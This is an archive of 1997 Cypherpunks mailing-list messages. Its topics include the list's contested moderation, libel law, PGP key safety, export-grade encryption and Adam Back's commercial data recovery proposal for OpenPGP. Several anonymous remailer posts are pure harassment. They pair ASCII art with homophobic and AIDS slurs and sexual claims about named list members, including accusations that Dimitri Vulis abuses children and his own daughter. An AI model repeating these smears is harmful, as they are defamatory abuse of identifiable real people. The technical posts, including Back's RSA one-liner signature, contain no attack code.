Date: Fri, 31 Jan 1997 17:15:00 -0800 (PST)
To: hacker@pe.net
Subject: Re: UNSCRIBE
In-Reply-To: <199702010026.QAA01149@pe.net>
Message-ID: <32F2AF22.5B1E@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


XaViUs@pe.net wrote:
> 
> UNSCRIBE

  Your message has been received by the CypherPunks list, and we will
shortly be sending a rabbi and a surgeon to UNSCRIBE you.
  In the meantime, please try to keep your foreskin cleansed and
hygenic, in order to prevent infection.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Fri, 31 Jan 1997 17:01:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Libel & the 1st Amendment (fwd)
Message-ID: <199702010102.TAA02060@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 30 Jan 1997 23:23:18 -0600 (CST)
> From: ichudov@algebra.com
> 
> I can give you an example.
> 
> ``Jim Choate invented an improved bubble sort method, called BSAM.''
> 
> This is undoubtedly false since you likely did not invent any sorting
> method. But you would not be able to get any damages (is that correct?)

Under the present system? Yes, it would not be worth a lawyers time to
process the appropriate paperwork unless I were a computer scientist and the
statement was published in a reputable magazine by something like the ACM or
IEEE.

Under the system I propose you would be forced to publish a public
recantation in the local press as well as paying the legal fees for the
trial at least. Provided of course it was worth the cost of the bond to
me. After all it is my reputation. The only person who should make decisions
about how important my reputation is to me is me, most definitely not you
or any other third party. I suspect you would not allow me to decide your
reputation either.

> When you say "should", what do you mean? That the current law will
> hold you to a minimum standard of evidence?
> Or you mean that it would be nice if it were so?

Neither, the currrent requirements of the law are irrelevant. My premise is
that such current laws are broke, why would I want to promote them? Answer,
I wouldn't. As to 'nice', what is nice isn't an issue. What is necessary is the
recognition that for a democratic society to exist in a world where business
is done based on reputations by parties who may never make more contact
than a email and EFT making statements about such reputations which
are not backed by verifiable evidence should be discouraged strongly.

> > A democratic society should have no tolerence for libel, slander, or other
> > forms of lies.
> 
> Why? And who decides what is a lie?

This is almost too silly to even respond to.

A lie is a statement which could be true but isn't. In the context of the
current discussion this would mean that a statement made by one party about
another party which was told to a third party and was not verifiable with
evidence.

Why should anyone tolerate a liar? Responsible and reasonable people don't
tolerate liars.

Who decides? The same group who decides now, the jury.

> > In civil cases the plaintiff should place a bond, set at some percentage of
> > the maximum permissible award, at the time the case is filed. This would at
> > least cover the general costs of the court and limit nuisance cases.
> > 
> 
> You can either oppose "specieocracy" and inequality of rich and
> poor in libel litigation, or ask to place bonds that will make even
> harder for the poor to sue, BUT NOT BOTH, if you want to remain logical.

This is another clever attempt at a smoke screen. Nice try but 'Brrrrrttt',
you loose the bet. I would suggest you don't play poker, your bluffs are
truly amateurish.

If the plaintiff pays up front or at the end is irrelevant. If the plaintiff
loses they pay the cost of the court. If they win then the defendant pays
the court costs, reimbursment of the bond, and the penalites awarded by the
jury/court. The only reason to require anything up front is to act as a
verification that the plaintiff can pay the court costs (which they get back
if they win and must pay anyway if they loose) up front. The reason being
that it would be possible without this for people to skip out on the court
costs if they loose, which would cause another more expensive cost, a
criminal trial, that the people in general would have to carry. The end
result would be that the taxes we would have to pay would be higher just like
your credit card costs are more expensive than they need to be because of
fraud by other card holders.

I would never attempt to speak for you but I pay too much tax now taking
care of deadbeats and similar sorts.

Further more, the bond would not have to be extravagant. If it were a simple
case of libel with no punitive damages involved it would be resolved by a
small claims court and might require no more than $25 - $50 as a bond. The
point of the bond is to make the plaintiff think twice, not hinder them if
that is what they truly feel is their due.


                                                   Jim Choate
                                                   CyberTects
                                                   ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 31 Jan 1997 19:24:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Degaussing diskettes
Message-ID: <199702010324.TAA00444@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dopehead L[ice] Vilus K[rust]OfTheMoment wears satin lingerie
embroidered with pink swastikas, prancing around for his faggot,
AIDS infected lovers.

             \|/
             @ @
        -oOO-(_)-OOo- Dr.Dopehead L[ice] Vilus K[rust]OfTheMoment






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 31 Jan 1997 19:10:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Key Security Question
In-Reply-To: <Pine.3.89.9701311005.A14002-0100000@netcom>
Message-ID: <0T0e2D26w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Z.B." <zachb@netcom.com> writes:
> My computer went into the shop a few days ago, and I was unable to take
> my PGP keys off it before it went in.  What are the security risks here?
> If the repairman chooses to snoop through the files, what would he be
> able to do with my key pair?  Will I need to revoke the key and make a
> new one, or will I be relatively safe since he doesn't have my
> passphrase?

If the keys were protected with a passphrase, then it's unlikely that
someone with access to the disk can use them without the passphrase.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 31 Jan 1997 20:11:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGP Source code implementation
Message-ID: <199702010411.UAA12376@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dainty Virus K[ankersore]OTM wears satin lingerie embroidered
with pink swastikas, prancing around for his homosexual, AIDS
infected lovers.

   ,/         \,
  ((__,-"""-,__))
   `--)~   ~(--`
  .-'(       )`-, Dainty Virus K[ankersore]OTM
  `~~`d\   /b`~~`
      |     |
      (6___6)
       `---`






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Fri, 31 Jan 1997 18:31:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Thoughts re moderation, filtering, and name changes
In-Reply-To: <32EF9A5B.5CF1@sk.sympatico.ca>
Message-ID: <32F2C633.44E4@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain


Greg,
   I read your missive (cpunks.html). It was interesting and thoughtful,
  despite the lack of ASCII art.
   I thought that I would reply to it by private email, in order to be
  able to speak bluntly, without damaging some of the rather fragile
  egos on the list. On the list I do my best to refrain from personal
  insults toward others, but there sometimes comes a point where the
  mere facts of a matter tend to be insulting to others, despite
  attempts to tippy-toe around them.
 
    Your HTML post does, in fact, deal with some very important points
  in regard to the content of the list.
    So much so, that it points out one of the major reasons that I see
  the moderation/censorship process that has been implemented as a
  deceitful and shoddy treatment of CypherPunk list members.
 
    After years of reaping the rewards of his role of crypto-anarchist-
  privacy-freedom/of/speech champion (which he has every right to),
  John Gilmore decides to declare, "My machine--my list. I'm changing
  it." (He might as well have added, "Anyone who doesn't like it can
  go fuck themselves!")
    John Gilmore effectively said, "I 'AM' the cypherpunks." Despite
  the fact that he rarely posts to it and does not participate in
  the discussions.
 
    And exactly what was the purpose behind the changes?
    Any two imbeciles with a case of beer could have sat down in a
  single evening and hammered out a solution to the problems you
  have addressed.
    Instead, John chose to confiscate the subscribers by giving his
  'new' list the cypherpunks name, instead of building a new list on
  its own merits. And he set it up so that anyone who wants to
  follow what is happening in the moderation/censorship process
  gets 'twice as much' crapola as before.
    The fact is, there is not one, single member who expressed a
  desire to continue receiving the Tim May crapola or the UCE/Spam
  crapola. But the process was set up so that those who choose not
  to receive the edited/moderated/censored list get this shit
  forwarded to them, by design of John and Sandy.
 
    As far as 'censoring' goes, 'people' are being censored, not
  'content'.
   I, among others, am auto-botted to the flames and uncensored
 lists. My 'offense' appears to be questioning the New List
 Order.
   If John, in his 'moderation' announcement, had stated
 that he intended to automatically shit-can certain member's
 postings, he would have lost even what shaky respect he still
 maintains among people who are paying a modicum of attention to
 what is actually transpiring on the list.
 
    To tell the truth, my original concern with Sandy censoring
  the list was that he does not have a particularly good command
  of the English language, and he seems to have trouble grasping
  the concepts involved in moderation/censorship.
    I actually like Sandy, so I was hoping my forebodings would
  turn out to be incorrect, but they have not. I think he is
  in over his head and, as a result, his moderation is close to
  being a joke.
    This is not a 'casual' observation. I have read every single
  message since the start of moderation, and documented the
  censored/uncensored posts, as well as analyzing the headers,
  etc. There are more than a few obtuse things going on behind
  the scenes.
 
    I believe that your view of 60% on-topic but uninteresting
  is a figure fairly close to how more than a few list members
  view the situation, but no one seems to realize that they are
  each talking about a different 60%, which, taken together,
  encompasses the majority of the postings.
    Think of it this way--what if each member was allowed to
  cut-out the 60% that they personally found uninteresting?
  What do you think would be left?
    You seem to be one of the few list members who realizes
  what they gain by having a 'library' of posts that introduce
  them to information and perspectives that broaden their
  horizons.
    I would hate to lose access to your posts because another
  member cut them out as a part of the 60% that s/he found
  'uninteresting'.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 31 Jan 1997 20:52:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [FLAME] Making OCR'ed code transfer easier
Message-ID: <199702010452.UAA22634@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dimmy Vulis K[ock]OfTheMinute prefers to have sex with little
kids because his own penis is like that of a three-year-old.

      o_o
     (   )  Dimmy Vulis K[ock]OfTheMinute
    ( | | )
    ' " " `






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 31 Jan 1997 20:53:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: [PGP] Libel/slander
Message-ID: <199702010453.UAA22905@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Drunkard Vilus will fuck anything that moves, but he'd rather be
fucking his own daughter's prepubescent body.

(~\/~) /~'\ /`~\   _    _
`\  /'(    `    ) ( `\/' )
  `'   `\     /'  `\    /' Drunkard Vilus
         `\ /'      `\/'
           '






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 31 Jan 1997 20:53:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Liberty, lack of
Message-ID: <199702010453.UAA23004@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Debauchery L[atex] Vaginal does NOT eat pussy. He only eats
asshole if it's got a big dick up in front. Whoever calls him
bisexual is a fucking liar. He likes to suck cocks in front of
an audience.

                /"\
               |\./|
               |   |
               |   |
               |>*<|
               |   |
            /'\|   |/'\
        /'\|   |   |   |
       |   %%%%%   |   |\
       |   |   |   |   |  \    
       | *   *   *   * |>   >   Debauchery L[atex] Vaginal
       |                  /      
        |               /
         |            /
          \          |
           |--/'''\--|
           | |--+= | |
           |--\.../--|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 31 Jan 1997 21:32:06 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <199701301837.KAA10125@mail.pacifier.com>
Message-ID: <32F2D4FF.3A84@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
> At 09:05 PM 1/28/97 -0800, Dale Thorn wrote:
> >I dare say that the downside of this is much less pleasant than the
> >virtual anarchy (in the bad sense) we suffer now.  If the police get
> >out of control, A.P. will arrive just in time to plug a few of those
> >holes, so to speak.  Ideally, future robotics should be able to provide
> >something like Gort (sp?) to take the place of human officers, given
> >advances in the kind of pattern matching needed to deter aggression and
> >the like.  Those who don't make it past the robots, well, the rest of
> >us can learn to behave, and we'll be much better off when we do.

> Your comparison with the fictional Gort, in the movie "The day the earth
> stood still" is of course apt.  It was only after I'd written most of the
> essay that I realized that an AP-type system would function much as Gort did.

There are some things that just go off in my mind like a light bulb
coming on, and the realization that the system would take care of
itself was one of those things.

> Occasionally we (CP) see a spoof where somebody claims to have developed a
> software program to "replace the judicial system" or something like that.
> Well, the problem with such a claim (aside from the obvious and enormous
> AI-type difficulties) is that the current system contains numerous biases.
> Writing a program to replace the legal system would presumably require that
> these biases be measured (and admitted-to!) and implemented into a
> well-defined system.

There is also a great deal of disinformation in the system, which
leads to a misperception on the public's part about just what those
biases might be.

Examples that come to mind are the OKC bombing and the OJ murders.
In both cases, grand juries composed of middle class people (all or
almost all White in the Simpson case) would not indict based on the
evidence they were given, and so they were dissolved and an excuse
was made up to cover someone's butt.  Now some of the fallout is
blowing in in the form of revelations about the FBI crime lab.

> What we'd discover is that the current system only barely resembles the
> guarantees in the US Constitution. At that point, there would be an argument
> between those who will insist that the Constitution be followed, and those
> who believe that the current de-facto system, however biased, be maintained
> as-is.

I don't see any reason why we can't develop programs to do certain
levels of preliminary analysis in these cases, much like the programs
which have been around for years on PC's, i.e., Mind Prober, Decision
Analyst, and so on.  I gotta believe that teams of people who prepare
these cases are using this stuff anyway, albeit discretely.  If it's
brought out into the open, and the public can look at case facts that
have been processed thru multiple software sites, it would have to be
a helluva lot better than Joe Schmucko's byline in the L.A. Times,
for example.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 31 Jan 1997 22:12:25 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: David E. Smith / Known Flamer
In-Reply-To: <199701310211.SAA01422@toad.com>
Message-ID: <32F2DE81.A71@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> David E. Smith wrote:
> > My understanding was that the moderator is supposed to ONLY
> > filter out ads and utterly-content-free messages.

>   That seems to be a very common misunderstanding--one which will
> remain without question on the censored list, since they have
> chosen to remain behind the ElectroMagnetic Curtain.

You'll recall that Sandfort (as Logos) ranted without letup about
decorum, decorum, ... ad nauseam, which, now that I look back on
it, is a *very* handy tool for controlling the list.  Logic does
not interfere with decorum, despite the implication of the nym
Logos.

> >  (Mind you, I took the smart out and subbed to cp-unedited,
> > so I'm in no place to judge.)

>   You're in a far better place to judge than those who have
> chosen to remain spoon-fed their world-view.

I just hope your judgement isn't skewed when you don't get some of
the mail, i.e., when the pony breaks down and can't run for awhile.

> > Aha, a good point to be brought up: Sandy, are you autofiltering
> > anyone based on user name, or on certain keywords? Seems to
> > defeat the purpose of having a _human_ moderator.

>   You realize, of course, that your question is moot, since this
> post of yours was already thrown in the crapper/flame-list.
>   It seems that questioning the process is a 'flame'.

The List Lord made it clear "In The Beginning" that some posts would
probably be irretrievably lost due to unavoidable "mistakes".
Think "FBI Crime Lab".  You get the picture.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 31 Jan 1997 22:58:42 -0800 (PST)
To: sameer <sameer@c2.net>
Subject: Re: Cats Out of Bags
In-Reply-To: <199701311357.FAA14264@toad.com>
Message-ID: <3.0.1.32.19970131222916.0064e230@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Sure, it's available.  For most governments, though, 
even DES is enough to threaten their dominance,
though 40-bit is pretty much a joke.
The main impact of US 56-bit products would be that they make
it easier to get crypto built in to unavoidable Microsoft applications*,
	[*If the Borg had any sense....]
as opposed to the totally useless crypto in MS Word, etc.;
users can obviously also use free-world crypto software also,
but you usually have to explicitly go obtain and install that.

With Netscape, even wimpy 40-bit crypto is a threat, 
since almost no country will block you from using it, and
since 128-bit products are readily available overseas,
though you also have to do nonzero work to get them.
Since the two products are interoperable (at the wimpy level),
it's easy to upgrade, and the 40-bit version also works with 
SafePassage.

At 11:50 AM 1/31/97 -0800, sameer wrote:
>> > "Other governments were upset with the 56-bit export allowance. 
>> > They said it was going to undermine their national security."
>> 
>> On this point, the other governments are correct.
>> It really _is_ tougher to maintain a nation-state when your
>> former subjects can have private conversations with each other
>> and with other governments' former subjects......
>> And even 56 bits is a start.
>
>	Full strength crypto is already available worldwide. It makes
>not one iota of difference.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 31 Jan 1997 22:39:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ADMINISTRATIVIUM] Secure checksums
Message-ID: <199702010639.WAA10088@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


In a jerk-off competition Tim May finishes second, third and fifth.

          ,/         \,
         ((__,-,,,-,__)),
          `--)~   ~(--`
         .-'(       )`-,
         `~~`d\   /b`~~`
             |     |
             (6___6)
              `---`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 31 Jan 1997 22:42:09 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: David E. Smith / Known Flamer
In-Reply-To: <199702010618.AAA08230@manifold.algebra.com>
Message-ID: <32F2E564.5611@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > The List Lord made it clear "In The Beginning" that some posts would
> > probably be irretrievably lost due to unavoidable "mistakes".
> > Think "FBI Crime Lab".  You get the picture.

> Remember, Dale, posts really do get lost due to unavoidable mistakes.
> Shit happens, and it certainly happens with all moderators whom I know.

I was *not* speaking of posts headed for the "moderated" list, I was
speaking of posts headed for the un-"moderated" list that would get
lost due to "mistakes".

Now I can understand how a censor could flub something going to a
moderated list, but why the un-moderated list?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 31 Jan 1997 22:58:57 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Fwd:[Yet another -onics..] [NOISE][POTENTIAL HUMOR]
In-Reply-To: <199702010202.SAA29766@toad.com>
Message-ID: <3.0.1.32.19970131225212.0064dc00@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


We have to stop this tragic corruption of the English language,
to protect our childen's delicate ears and aesthetic sensibilities.
Why, a mere few months ago, I encountered a child of no more than 10
singing along to 
	"You Can Build A Mainframe From The Things You Find At Home" -
corrupted by the adults in his environment into praising equipment that
should never have been built by mankind and should be allowed to lie still,
undiscovered for the rest of history.  And this poor child knew all the words.
Shocking.  Our public schools have clearly failed to educate him correctly.

>> *****************************
>> "GEEKONICS" IS JUST A BEGINNING
>> by John Woestendiek
>> Philadelphia Inquirer
>> Wed., January 8, 1997
>> *****************************
.....
>> Controversial and widely misunderstood, the Geekonics movement was
>> spawned in California's Silicon Valley, where many children have grown
>> up in households headed by computer technicians, programmers, engineers
>> and scientists who have lost ability to speak plain English and have
>> inadvertently passed on their high-tech vernacular to their children.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Fri, 31 Jan 1997 23:17:27 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Intelligence Update (fwd)
Message-ID: <v02140b0caf187b4e1487@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>At 11:11 PM 1/30/97 -0800, you wrote:
>>>Note: According to a recently obtained DOJ surveillance training manual:
>>>"The typical range for the 28 ghz devices is six miles, the typical
>>>range of the 2.4 ghz is thirty miles, and the typical range for the
>>>1.7ghz  is 44 miles."
>
>How sure are you about the quality of your sources here?
>I'd expect 1.7ghz and above equipment to require line of sight,
>and even a range of six miles seems really high for a very low power
>device - getting that as "typical" seems pretty unlikely.
>Could all of these figures have been 6, 30, and 44 _meters_ instead? :-)

While these claims may be for links under near ideal conditions, Hams
routinely make very long distace links at 900, 2400 and 5700 MHz during
contests using less than 1 Watt.  Also, our deep space probes operate many
links to earth in this spectral region using low power transmitters.  Of
course they have 200 ft. antennas (e.g., Goldstone) at the receiveing end
with cryogenic reciever front-ends.

Links do become increasingly line-of-sight above 1 GHz this is radio not
visual (i.e., shots through trees. etc.) and there is increasingly the
ability to utilize reflection ("billboard" shots) advantageously.

As frequency increases path loss also increases.  Fortunately, as
frequencies increase antenna gain also increases.  In fact, by holding
antenna dimensions constant (for an arbitrary antenna design, e.g.,
parabolic) gain increases with frequency in direct proportion to increasing
path loss, thus cancelling it out.

There are other factors, such as required S/N or bit error rate for the
particular application, reciever sensitivity and noise floor, and
background noise levels, which directly affect link margins (transmit power
- path loss - reciever sensitivity; all in dB) and thus viability of a
link.  Above 1 GHz terrestrial noise, including that produced by man,
declines rapidly at the moment.  However, as more UHF communication devices
and microprocessors operating at 100s of MHz proliferate that noise floor
is sure to rise.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Fri, 31 Jan 1997 23:58:39 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: David E. Smith / Known Flamer
In-Reply-To: <32F2E564.5611@gte.net>
Message-ID: <Pine.SUN.3.91.970131233634.4007J-100000@crl4.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Fri, 31 Jan 1997, Dale Thorn wrote:

> I was *not* speaking of posts headed for the "moderated" list, I was
> speaking of posts headed for the un-"moderated" list that would get
> lost due to "mistakes".
> 
> Now I can understand how a censor could flub something going to a
> moderated list, but why the un-moderated list?

Apparently, Dale does not understand the how the list is 
moderated.  When someone posts to Cypherpunks, it automatically
goes to the unedited list.  I am subscribed to the unedited list.
When I read the unedited list, I forward each message I see there
to either the flames list or the moderated list.  I have no 
control over the unedited list.  It goes out to everyone else at
the same time it goes out to me.  I don't have a clue as to what
Dale is talking about.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 22 Oct 1997 02:13:51 +0800
To: tcmay@got.net
Subject: the migration path (was Re: Your "RIGHT" to Speak to Big Brother)
In-Reply-To: <v03102802b071f07a3e09@[207.167.93.63]>
Message-ID: <199702211603.QAA02220@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Tim May <tcmay@got.net> writes:
> "We're also asking loyal Americans within companies to send us the CMR
> secret keys. Companies have no right to keep secrets from government. We
> won't allow a company to have policies which prevent loyal Americans from
> providing information to their government."
> 
> By the way, I think the notion that the government will go to great lengths
> to get CMR secret keys is not far-fetched. Until PGP for Business supports
> a richer system of snoopware keys--and my understanding is that PGP 5.5
> does _not_--then the CMR secret key of, say, Microsoft, would be a prize
> indeed.

I think the CMR public key extension is not limited to one CMR extra
recipient per key.  Closely following discussions on ietf-open-pgp,
and the notes Bill Stewart kindly posted to this list (taken from the
description PGP Inc gave at a meeting in the US) it sounded to me that
there is a migration path like this:

pgp5.0: accepts keys with multiple CMR key requests attached but
	doesn't honour CMR requests (? I hope!), and can't generate keys
	with CMR requests 

pgp5.5: generates keys with single CMR requests, can accept and handle
	keys with multiple CMR requests

pgp6.x: will generate keys with multiple CMR requests (and of course 
	honour them too)

This suggests that the yet to be released pgp6.x (or whatever version
number is chosen) will be able to cater to such government demands
merely by the company generating their keys with two CMR requests:

recovery@acme.com
thoughtpolice@nsa.gov

The NSA can publish their public key on http://www.nsa.gov/ tomorrow,
and the law by presidential decree the day after.  This is the
balanced Sword of Damocles over privacy for real now: this is the 
switch waiting to be flicked.  This is why I am upset with PGP Inc
for using the CMR approach.  It is not CMR per se as a neutral 
mechanism, but it is the approach of building tools which
allow third party access, or "recovery" of communications traffic which
has enabled all of this.

This despite their stated corporate user requirement being storage
recovery.

> This is of course a security weakness of the whole CMR approach, exactly as
> with the key escrow database. It is a too-tempting target. Anyone within a
> company with access to the CMR secret key will be incentivized to sell it.

I agree, it is a centralised security risk.  PGP Inc are talking about
adding secret splitting perhaps, but still it is a security risk.  The
whole technique of sending recovery information over the wire is a
security risk.  Recovery information if there is any should be kept on
local disks and thereby be protected by the companies normal physical
security in the same way that papers in filing cabinets are.  This is
the status quo.  (Well actually no encryption at all locally is
largely the status quo, but pgp5.0 (and I presume pgp5.5) is also able
to encrypt files, and PGP Inc argues more reasonably that their corporate 
clients have a requirement of being able to recover stored encrypted 
files also).

Regardless it is trivial to have local storage recovery without
sending recovery information over the wire.  I'll be posting (web and
list) a security analysis of CMR vs CDR presently; I think CMR loses
badly from even a purely security oriented standpoint.  (I have made
my feelings about the political demerits of CMR as a storage recovery
mechanism known already).

> Of course, Microsoft won't be using PGP for Business. Recall that they may
> have their own "software key escrow" program cooking, based on my
> discussion a few years ago with Tom Albertson (sp?) of Microsoft. Bill
> Gates has issued strongly anti-GAK statements, so maybe this is on hold.

Perhaps this is what they are busy building at their top-sikrit crypto
software development/research center at Cambridge, UK under the
guidance of new head of research cryptographer Roger Needham.  
Looks like an export embargo end-run by Bill Gates.

Maybe Bill Gates is a cypherpunk after all, well we can live in hope,
anyway.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 22 Oct 1997 02:13:51 +0800
To: pgut001@cs.auckland.ac.nz
Subject: GAK "service" charges (Re: EC refutes GAK)
In-Reply-To: <87743538523871@cs26.cs.auckland.ac.nz>
Message-ID: <199702211611.QAA02229@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Peter Gutmann <pgut001@cs.auckland.ac.nz> writes:
> [multiple terabyte CDrom based keying material]

Reckon they'll twig, and charge you per megabyte to offer you the
"service" of allowing them to "recover" your communications in real
time.

At the same time they'll sell the package as "helping businesses to
recover data stored on disks".  

(I never did quite work out how this government mandated and managed
"communications key recovery service" helps you recover stuff stored
on your disk encrypted with storage keys you haven't given them (you
don't give them your real keys do you?)).

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 22 Oct 1997 06:06:55 +0800
To: cypherpunks@cyberpass.net
Subject: CDR design document
Message-ID: <199702212255.WAA01213@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Here is a proposal for consideration for inclusion in the OpenPGP
standard:

	http://www.dcs.ex.ac.uk/~aba/cdr/

(Also attached text version below [1])

It describes a mechanism for commercial data recovery which attempts
to minimise the security risks inherent in allowing disaster recovery
of stored encrypted documents.  The CDR design also avoids the
security risks in building systems which send recovery information
over open communications networks, as the CMR proposal currently does.

The CDR design offers the option of more ergonomic recovery from
forgotten passphrase.  CDR allows for more secure use to be made of
the existing pgp5.0 key expiry functionality when applied to
communications-only keys because they can be deleted with out loss of
data-availability, providing a form of PFS which is backwards
compatible with pgp5.0 and pgp5.5 clients.

Comments?

The only change addition to the standard required is to create a
distinction between a storage only key and a communications only key.
This distinction could be made via the use of an extra flag, ideally
so that keyrings can remain standardised and interchangeable between
different implementations.

The document can also be viewed as a recommendation to implementors of
how to avoid security risks (and related government abuse risks) in
implementing data recovery systems.

I would like to see the OpenPGP standard accomodate both the CMR and
CDR design so that each can fly on it's technical merits.  (And
political merits, cryptography being a highly political field, a
politically unpopular design may suffer for other than technical
reasons).

Adam


[1]	http://www.dcs.ex.ac.uk/~aba/cdr/
==============================8<==============================
Commercial Data Recovery

This document describes a mechanism, Commercial Data Recovery (CDR), to
allow companies to recover stored encrypted information as part of a
disaster recovery plan.

Introduction

This document is centered around the OpenPGP standard, and therefore
explores first what is possible within the existing standard. Several of the
CDR variants presented can be achieved entirely within the pgp5.0 standard
without adding any new functionality.

Commercial disaster recovery requirement

PGP is commonly used for two purposes: file encryption, and encryption of
email communications. The situation arises in a commercial setting that
individuals are protecting information which the company would like to be
able to recover in the event of disaster: in the event of the user
forgetting his passphrase, or in the event of the unexpected death of the
employee. Stored files which the company may require the ability to recover
include encrypted files stored in the files system, on backup tapes, or on
floppy disks; and encrypted sent and recieved emails stored in mail client
folders.

Security vs Availability

There is a security risk in adding data recovery mechanisms: the additional
risk that recovery procedure is used by other than the owners of the data to
recover plaintext.

A central goal of the CDR design described in this document is to minimise
this security risk. Keys used to encrypt email which is transmitted over the
Internet are more valuable to an attacker than keys used to encrypt stored
files because of the relative ease with which an attacker can obtain copies
of emailed ciphertext. Stored encrypted files in contrast are protected by
all the physical security systems the company is relying on to protect it's
